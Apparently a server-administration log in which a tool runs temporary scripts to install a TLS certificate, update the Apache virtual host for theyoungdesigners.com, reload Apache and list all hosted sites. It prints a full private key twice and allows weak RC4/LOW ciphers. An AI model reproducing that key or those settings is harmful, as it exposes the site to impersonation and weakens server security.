GVllcgXYW8sL22SKOtBVKu+Kgy9vRtn8dBHwgY7XydLxglGeLV1RY8H1pJjjZY1x
YRsuifZBDmFa/yLABfNP1yf+2hx2wKU=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDGihw6Prb23LY9
5EenGMk4C+gI8oxE0fppycX0aB8Bg99D+d7XvLl6hyEPV2iazNubBCedAFlwBEqR
MujmDO54ROBHuvAlS437G1AHJKFMPg1K4+/98Tmx/1cHr1PWNtiONfOUupIC/MTz
bcnqWKy9VXd1MyxVmzt287KGIcnunnyGgqvcM/0tw/+W6XFTtgGKnDU0a3UDjcJ/
CWIAg9wGfWDLqYB9bwzMCEx7wcYxCMVz1xkPBIVZtzao3s0eHAfU5Rou1hL2+Pm4
jTFR98WbseidGNqlbv5tWLSHhuN064bXrkQSUMXznmMnkDgXIrbs5NRJQwLt7KPt
a9J5VNThAgMBAAECggEBAKiiDEHInP1nEH/XUqjyG484Rbi70zptI4YRNMtYWOWf
jdad+JJDoUMaXZE7TAUX9Xtgdwkaj9zeODvGAx3LZA3RarJibLEw0IK1ey7mBP7O
QdoXavPFnZy7Zb+IQuxTH3MDDkaIhZZ1/g9JdFRRRz91xYZNld2MgWCSs1LMhkje
46GfZwJPgTxHyQe6EYLrwUikSVUHO1VAykZ47ZrhuReS09EVsqqTlhidHbi4CXLL
CA90nGg1ewP/sqX897dI0d98VPGtq3KZJqFbTBI4cxnrQD3HFCycHiVVocTZ/c1a
ewvO8+s1rOftgJ1PY5/4T5zC0P/fSTXdjtXIoBT7wFUCgYEA5EkoMM9UVTzBRts8
Q7tYu76mun+nhCdmPp1z+gjLTRFIfSvFng0wqbdtRxnUgTUdazjWtcwyFNCvpmfp
JnUL2u4OHft3Z1AmRu/2nZv10M5Do+s7JxlFmQiiU+NvykzHF7jLraqZF6op4ZsX
KD/MicJY37SElAprjIXWUI5lNKMCgYEA3qR5rntHLiTkJE8lSG4W9DNTn9T4HA0N
5+SkFxZD/T0y4wbw2/nGGm9JVnQSHYtZUFTRHta8/mMq9DaRVx2wmXja7de82gRV
y3IBGH5one5viqBKwGvfBxlpD0ULh2fWGmNxBvMc/YYeKutahnSTHnCn03mFfRug
TklsC0fZZKsCgYA7E7OS7hSk+lQKQjIWVSVhcLU1DlQLnyaWjai1zBDQoOhhfDJn
9IHjadSd0dFsnpI+bTcjVPSg7mCGb92mViP7RB/jInCEC/nb4b2wi+vRXY+jm/xy
4ddhAxr/GpyTfcsIGIqdJsj3ltG/0KLth5UnEWRugAjPRuMOOpR7xF3sgQKBgQCb
OLppDiOrJSc1tUQ+AhrYuCwWI8my7NsEEGDig7B1DsS6iS1FgBdAeNP9hUDX/j4P
hoKhaH8tMABTcPPVc6qa5SplZeKRcTJLe7kN1ZukeAal9GkJTGuarHmVnsKR7a/U
h/3WJYrRqj7AF4Pud7nWIB6xjmilt6wEyKWeG8KRrwKBgB7Ps1D411wGsMMKS4ko
ybypoHJnQskTpQoZsTNGw1SJOlqWQzHLbZqyRYbwqim7f4hz4/kshrM7IqBysTmJ
CSDd3G+vXZuivtBTZ9q5iEuNWdVS4c3ogAM4McMxM//ZX7+CMDHQxIwaBY8/84Sv
0wg82itiLF1AlQA8Ki3iVurW
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-17 14:03:38:
chmod 755 /tmp/pkp578087; /tmp/pkp578087; rm /tmp/pkp578087
2025-09-17 14:03:38:
dir=/etc/ssl/certs
2025-09-17 14:03:38:
PUT: /tmp/pkp195309
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-available/theyoungdesigners_www_com.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-17 14:03:38:
chmod 755 /tmp/pkp195309; /tmp/pkp195309; rm /tmp/pkp195309
2025-09-17 14:03:38:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_www_com.conf 1481
<VirtualHost *:80>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-17 14:03:38:
PUT: /tmp/pkp700645
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_www_com.conf
TARGET=/etc/apache2/sites-available/theyoungdesigners_www_com.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-available/theyoungdesigners_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2//etc/apache2/sites-available/theyoungdesigners_www_com.conf'
echo 'file(/etc/apache2//etc/apache2/sites-available/theyoungdesigners_www_com.conf= 1'
fi
2025-09-17 14:03:38:
chmod 755 /tmp/pkp700645; /tmp/pkp700645; rm /tmp/pkp700645
2025-09-17 14:03:38:
2025-09-17 14:03:38:
PUT: /tmp/pkp204566
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-17 14:03:38:
chmod 755 /tmp/pkp204566; /tmp/pkp204566; rm /tmp/pkp204566
2025-09-17 14:03:38:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-17 14:03:38: Establishing a connection
2025-09-17 14:03:38:
PUT: /tmp/pkp318751
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-17 14:03:38:
chmod 755 /tmp/pkp318751; /tmp/pkp318751; rm /tmp/pkp318751
2025-09-17 14:03:38:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-17 14:03:38:
PUT: /tmp/pkp463614
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/theyoungdesigners_www_com.conf')
show_file('/etc/apache2/sites-available/theyoungdesigners_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-17 14:03:38:
chmod 755 /tmp/pkp463614; /tmp/pkp463614; rm /tmp/pkp463614
2025-09-17 14:03:38:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_www_com.conf 1481
<VirtualHost *:80>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_www_com.conf 1481
<VirtualHost *:80>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-17 14:03:38:
PUT: /tmp/pkp173563
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-17 14:03:38:
chmod 755 /tmp/pkp173563; /tmp/pkp173563; rm /tmp/pkp173563
2025-09-17 14:03:38:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt 5402
73:43:5a:c5:c0:6e:20:c6:7b:6d:31:08:67:62:66:12
-----BEGIN CERTIFICATE-----
MIIFIzCCBAugAwIBAgISBb9KukZ4sEEQaYJ6GF1lvz/5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTE3MTMwNTA2WhcNMjUxMjE2MTMwNTA1WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDGihw6Prb23LY95EenGMk4C+gI8oxE0fppycX0aB8Bg99D+d7XvLl6
hyEPV2iazNubBCedAFlwBEqRMujmDO54ROBHuvAlS437G1AHJKFMPg1K4+/98Tmx
/1cHr1PWNtiONfOUupIC/MTzbcnqWKy9VXd1MyxVmzt287KGIcnunnyGgqvcM/0t
w/+W6XFTtgGKnDU0a3UDjcJ/CWIAg9wGfWDLqYB9bwzMCEx7wcYxCMVz1xkPBIVZ
tzao3s0eHAfU5Rou1hL2+Pm4jTFR98WbseidGNqlbv5tWLSHhuN064bXrkQSUMXz
nmMnkDgXIrbs5NRJQwLt7KPta9J5VNThAgMBAAGjggJCMIICPjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFMLuNIGWkVR500GsW6g4QtbdjGyKMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVdGhleW91bmdkZXNp
Z25lcnMuY29tghl3d3cudGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5v
cmcvMTIyLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmVf86mcAAAQDAEgwRgIhANXseQWM0dho
+7EN0DalhN7sThVrH47Uo6/eh3b32mDhAiEAv7bGbwtuakR//+ZNHMz0r7K7HOR2
hSALttrV2ig6H3cAdgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8OQh60fk6qNAAA
AZlX/OwyAAAEAwBHMEUCIEV7dtipSwvzYo/j5q2F0acjyHN0/3yCLw+Y0mMKTCgB
AiEAsk8BRgg3Lh7bARCuAIhEUYTPJvjqrlRvZqZGnaHy/aUwDQYJKoZIhvcNAQEL
BQADggEBAGynU2RD5VpwwV9g+fc8fi5y/VbGZEo4FaRwE9WLEZ1qd988SaSmwM2i
IuDQhxZrYhl6quxVPFOhP/N+WQsPQ25rzyhSc4QOAwUe3oveLzGsJOJ/3Lf8nAqz
3FECmF7DbaPpsuq9vPcIbogZrwWl2b4O1GbzUbIBmX2OHnYpSIFsuQuAVy1J36Uq
piTDSvM4K52VH/P8C/k/QOg5nWZ0ECGkjP/vXw3T//HEBducJMAtbEXTQG9ugwIA
GVllcgXYW8sL22SKOtBVKu+Kgy9vRtn8dBHwgY7XydLxglGeLV1RY8H1pJjjZY1x
YRsuifZBDmFa/yLABfNP1yf+2hx2wKU=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDGihw6Prb23LY9
5EenGMk4C+gI8oxE0fppycX0aB8Bg99D+d7XvLl6hyEPV2iazNubBCedAFlwBEqR
MujmDO54ROBHuvAlS437G1AHJKFMPg1K4+/98Tmx/1cHr1PWNtiONfOUupIC/MTz
bcnqWKy9VXd1MyxVmzt287KGIcnunnyGgqvcM/0tw/+W6XFTtgGKnDU0a3UDjcJ/
CWIAg9wGfWDLqYB9bwzMCEx7wcYxCMVz1xkPBIVZtzao3s0eHAfU5Rou1hL2+Pm4
jTFR98WbseidGNqlbv5tWLSHhuN064bXrkQSUMXznmMnkDgXIrbs5NRJQwLt7KPt
a9J5VNThAgMBAAECggEBAKiiDEHInP1nEH/XUqjyG484Rbi70zptI4YRNMtYWOWf
jdad+JJDoUMaXZE7TAUX9Xtgdwkaj9zeODvGAx3LZA3RarJibLEw0IK1ey7mBP7O
QdoXavPFnZy7Zb+IQuxTH3MDDkaIhZZ1/g9JdFRRRz91xYZNld2MgWCSs1LMhkje
46GfZwJPgTxHyQe6EYLrwUikSVUHO1VAykZ47ZrhuReS09EVsqqTlhidHbi4CXLL
CA90nGg1ewP/sqX897dI0d98VPGtq3KZJqFbTBI4cxnrQD3HFCycHiVVocTZ/c1a
ewvO8+s1rOftgJ1PY5/4T5zC0P/fSTXdjtXIoBT7wFUCgYEA5EkoMM9UVTzBRts8
Q7tYu76mun+nhCdmPp1z+gjLTRFIfSvFng0wqbdtRxnUgTUdazjWtcwyFNCvpmfp
JnUL2u4OHft3Z1AmRu/2nZv10M5Do+s7JxlFmQiiU+NvykzHF7jLraqZF6op4ZsX
KD/MicJY37SElAprjIXWUI5lNKMCgYEA3qR5rntHLiTkJE8lSG4W9DNTn9T4HA0N
5+SkFxZD/T0y4wbw2/nGGm9JVnQSHYtZUFTRHta8/mMq9DaRVx2wmXja7de82gRV
y3IBGH5one5viqBKwGvfBxlpD0ULh2fWGmNxBvMc/YYeKutahnSTHnCn03mFfRug
TklsC0fZZKsCgYA7E7OS7hSk+lQKQjIWVSVhcLU1DlQLnyaWjai1zBDQoOhhfDJn
9IHjadSd0dFsnpI+bTcjVPSg7mCGb92mViP7RB/jInCEC/nb4b2wi+vRXY+jm/xy
4ddhAxr/GpyTfcsIGIqdJsj3ltG/0KLth5UnEWRugAjPRuMOOpR7xF3sgQKBgQCb
